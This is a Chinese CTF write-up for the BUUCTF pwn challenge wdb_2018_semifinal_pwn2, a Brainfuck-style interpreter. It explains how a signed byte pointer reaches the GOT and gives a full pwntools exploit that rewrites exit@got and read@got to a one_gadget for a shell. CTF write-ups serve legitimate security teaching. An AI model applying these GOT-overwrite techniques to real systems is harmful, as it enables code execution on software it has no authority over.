[BUUCTF-pwn] wdb_2018_semifinal_pwn2
又是一个虚拟机的题,干到一半想放弃了,搜不到wp又回来慢慢作。
先看题目:
for ( byte_6024C1 = 0; ; ++byte_6024C1 ){byte_6028E1 = byte_6024E0[byte_6024C1];if ( !byte_6028E1 )break;byte_6028E0 = 0;if ( byte_6028E1 == 62 ) // > 先后移指针++byte_6024C0;if ( byte_6028E1 == 60 ) // <--byte_6024C0;if ( byte_6028E1 == 43 ) // + 指针处加1++byte_6020C0[byte_6024C0];if ( byte_6028E1 == 45 ) // ---byte_6020C0[byte_6024C0];if ( byte_6028E1 == 46 ) // . 输出_IO_putc(byte_6020C0[byte_6024C0], stdout);if ( byte_6028E1 == 44 ) // , 输入read(0, &byte_6020C0[byte_6024C0], 1uLL);while ( byte_6028E1 == 91 && !byte_6020C0[byte_6024C0] )// [{if ( byte_6024E0[byte_6024C1] == 91 )++byte_6028E0;if ( byte_6024E0[byte_6024C1] == 93 ){v3 = byte_6028E0--;if ( v3 == 1 )break;}++byte_6024C1;}while ( byte_6028E1 == 93 && byte_6020C0[byte_6024C0] )// ]{if ( byte_6024E0[byte_6024C1] == 93 )++byte_6028E0;if ( byte_6024E0[byte_6024C1] == 91 ){v4 = byte_6028E0--;if ( v4 == 1 )break;}--byte_6024C1;}
一共8个功能符,<>向前向后移动指针; +-指针处值增减;.,分别是输出字符和输入字符
但干到一半才发现这个逗号有问题
read(0, &byte_6020C0[byte_6024C0], 1uLL);
在一个指针前边加了一个&变成地址,也就是指针的指针,这就导致这里不能正确读入。也许大部分人到这里就放弃了。
再看另一个坑点:
--byte_6024C0;
这里用到的两个指针byte_6024C0, byte_6020C0都是byte类型的,byte只有1字节还是有符号的,所以处理只 处理输入只有到127,向后只能到-128这就造成输入串只能是128位,向后可处理范围到-128
再看下附近可修改的内容
0x602020 <printf@got.plt>: 0x00007f4693749810 0x00000000004006f6
0x602030 <memset@got.plt>: 0x00007f4693866a30 0x00007f46937c0280
0x602040 <read@got.plt>: 0x00007f46937eb310 0x00007f46937293d0
0x602050 <setvbuf@got.plt>: 0x00007f4693763e80 0x0000000000400756
0x602060 <exit@got.plt>: 0x0000000000400766 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <stdout>: 0x00007f4693ab9620 0x0000000000000000
0x602090 <stdin>: 0x00007f4693ab88e0 0x0000000000000000
0x6020a0 <stderr>: 0x00007f4693ab9540 0x0000000000000000
最远可以到达read,这正是想要的,把read改成one就OK了,但是到这里就需要128字符,然后就退出了,所以
第1步要造个循环:
把got.exit改为_start这个需要的字符数不多,修改完exit后基本快用完了,这个改完后还可以加几个<尽量向前移动指针,不过空间很小移不了多少。
第2步由于第一步指针已经向前移了不少,只需要移到read+3修改3位就好了。
from pwn import *local = 0
if local == 1:p = process('./pwn')libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]libc_start_main_ret = 0x20840
else:p = remote('node4.buuoj.cn', 25916) libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')one = [0x45216, 0x4526a, 0xcd0f3, 0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0 ]libc_start_main_ret = 0x20830elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'def change(tva, tvb):tva = tva[::-1]tvb = tvb[::-1]sv = ''for i in range(8):sv += '<'tmp = tva[i] - tvb[i]if tmp < 0:tmp = 0- tmpif tmp > 0x80:sv += '-'*(256-tmp)else:sv += '+'*tmpelif tmp > 0:if tmp > 0x80:sv += '+'*(256-tmp)else:sv += '-'*tmpreturn sv#0x602060 <exit@got.plt>: 0x0000000000400766 <-- 0x400770
payload = '<'*(0xc0 - 0x68)+ change(p64(0x400766), p64(0x400770)) + '<'*(0x8+3) + '.<'*6
p.sendlineafter(b"Put the code: ", payload.encode())'''
0x602020 <printf@got.plt>: 0x00007f4693749810 0x00000000004006f6
0x602030 <memset@got.plt>: 0x00007f4693866a30 0x00007f46937c0280
0x602040 <read@got.plt>: 0x00007f46937eb310 0x00007f46937293d0
0x602050 <setvbuf@got.plt>: 0x00007f4693763e80 0x0000000000400756
0x602060 <exit@got.plt>: 0x0000000000400766 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <stdout>: 0x00007f4693ab9620 0x0000000000000000
0x602090 <stdin>: 0x00007f4693ab88e0 0x0000000000000000
0x6020a0 <stderr>: 0x00007f4693ab9540 0x0000000000000000
'''
#gdb.attach(p, 'b*0x400b30')one_gadget = one[6] #local 2 remote 6
target = libc_elf.sym['read']
payload = '<'*0x8 + change(p64(target), p64(one_gadget)) + ','
p.sendlineafter(b"Put the code: ", payload.encode())p.sendline(b'cat /flag')
p.recv()
另外这时修改的时候也需要注意,如果把01改成FF应该是--,也就是找一个最近的路径。由于本地和远端的libc不同,one也不同,本地用2成功,远端用6成功,我这里第一步还可以多移几下然后后边可以多输入6个字符,也许其它的也能成功,不过概率不大。没试。
[BUUCTF-pwn] wdb_2018_semifinal_pwn2相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- 领度CEO廖睿:企业社交最大的阻力来自老板
- iOS开发拓展篇——如何把项目托管到GitHub
- Eclipse 为jar包加入 Java Source和Javadoc(如何向Eclipse中导入源码和doc)
- Java LocalDate类| toString()方法与示例
- Times33算法与最快的Hash表
- python工作流程_讨论 - 廖雪峰的官方网站
- 千方百剂创建账套服务器文件,千方百剂辅助工具使用手册图解
- C++语法基础--句柄类
- 实习僧-竞品分析报告
- python nlpir_中文分词工具--NLPIR/ICTCLAS的Python版本使用
- php 小米路由器_小米路由器固件修改
- python实现pdf阅读器_PyQt5 从零开始制作 PDF 阅读器(一)
- 如何查看华为android系统,如何查看华为手机系统更新的新增功能
- 复化梯形公式求积算法 c语言,c语言版本复合梯形法、辛普森法求积公式
- 苹果MacBook 装双系统win10蓝牙找不到的方法
- 杨绛先生70句金句,请珍藏
- mininet sflow 资料和经验
- selenium处理富文本框
- HJY-E2B/4J、HJY-91A/8J电压继电器
- HC32L136国产超低功耗华大MCU芯片介绍